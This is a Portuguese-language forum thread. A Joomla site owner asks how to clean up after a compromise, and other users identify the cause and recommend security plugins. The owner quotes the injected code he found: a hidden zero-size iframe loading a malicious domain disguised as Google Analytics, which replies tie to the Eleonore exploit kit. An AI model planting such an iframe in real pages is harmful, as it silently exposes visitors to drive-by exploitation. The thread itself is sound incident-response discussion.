Acho que "invadiram" meu Joomla

Olá amigos,

tenho um site Joomla há um bom tempo, e de repente hoje recebi um aviso do administrador da hospedagem dizendo que estava desativando o meu site por conter um arquivo malicioso.

Acontece que deu o seguinte:

Parse error: syntax error, unexpected '<' in /hermes/web08/b1670/pow.brahmsoftware/htdocs/clients/crescexavante/public_html/index.php on line 89

Encontrei isso:

<!-- ~ --><iframe src=" www.google-analytics.sebc-bi.org/el/index.php" ; width="0" height="0" frameborder="0"></iframe><!-- ~ -->

Alguém tem algum passo-a-passo para que eu siga da maneira mais segura possível?
Creio que somente remover a linha do código-fonte não deixará o sistema mais confiável <!-- s:P --><img src="{SMILIES_PATH}/icon_razz.gif" alt="" title="Legal" /><!-- s:P -->

Grato desde já.

Qual a finalidade desta linha de código?

Abs <!-- s:ugeek: --><img src="{SMILIES_PATH}/icon_e_ugeek.gif" alt=":ugeek:" title="Uber Geek" /><!-- s:ugeek: -->

Chama um exploit:

Eleonore Exploit Pack v1.3.2 / VirTool VBInject.DJ

Informações sobre esse domínio malicioso:
http://www.malwareurl.com/listing.php?domain=google-analytics.sebc-bi.org

Traduzi há algum tempo um plugin "milagroso" que impede que esses crackers consigam acesso ao site. Está na seção de downloads da JCB!
Instale e experimente:
System Plugin - http:BL 1.10 pt-BR

É necessário se cadastrar no Project Honey Pot para obter uma chave de segurança.


( ^ ^)

Um componente que ajuda muito creio ser o RS Firewall, parece que fecha o site de todas as maneiras! (não hospedar na locaweb ajuda tbm <!-- s:D --><img src="{SMILIES_PATH}/icon_e_biggrin.gif" alt="" title="Muito Feliz" /><!-- s:D --> )
Eu uso no meu várias diretrizes de segurança que eu mesmo criei, e o sh404sef com o project honey pot, não é tão seguro quanto o RS Firewall, mas ta segurando seus 40 ataques por dia ^^

Abraços

Ok elvisvinicius, primeiramente obrigado!
Teu plugin EVITA o acesso por determinados ip's, ótimo.

Mas o que eu faço com o que já entrou e bagunçou?
Apenas deleto a linha do iframe, altero senhas e pronto?

Grato.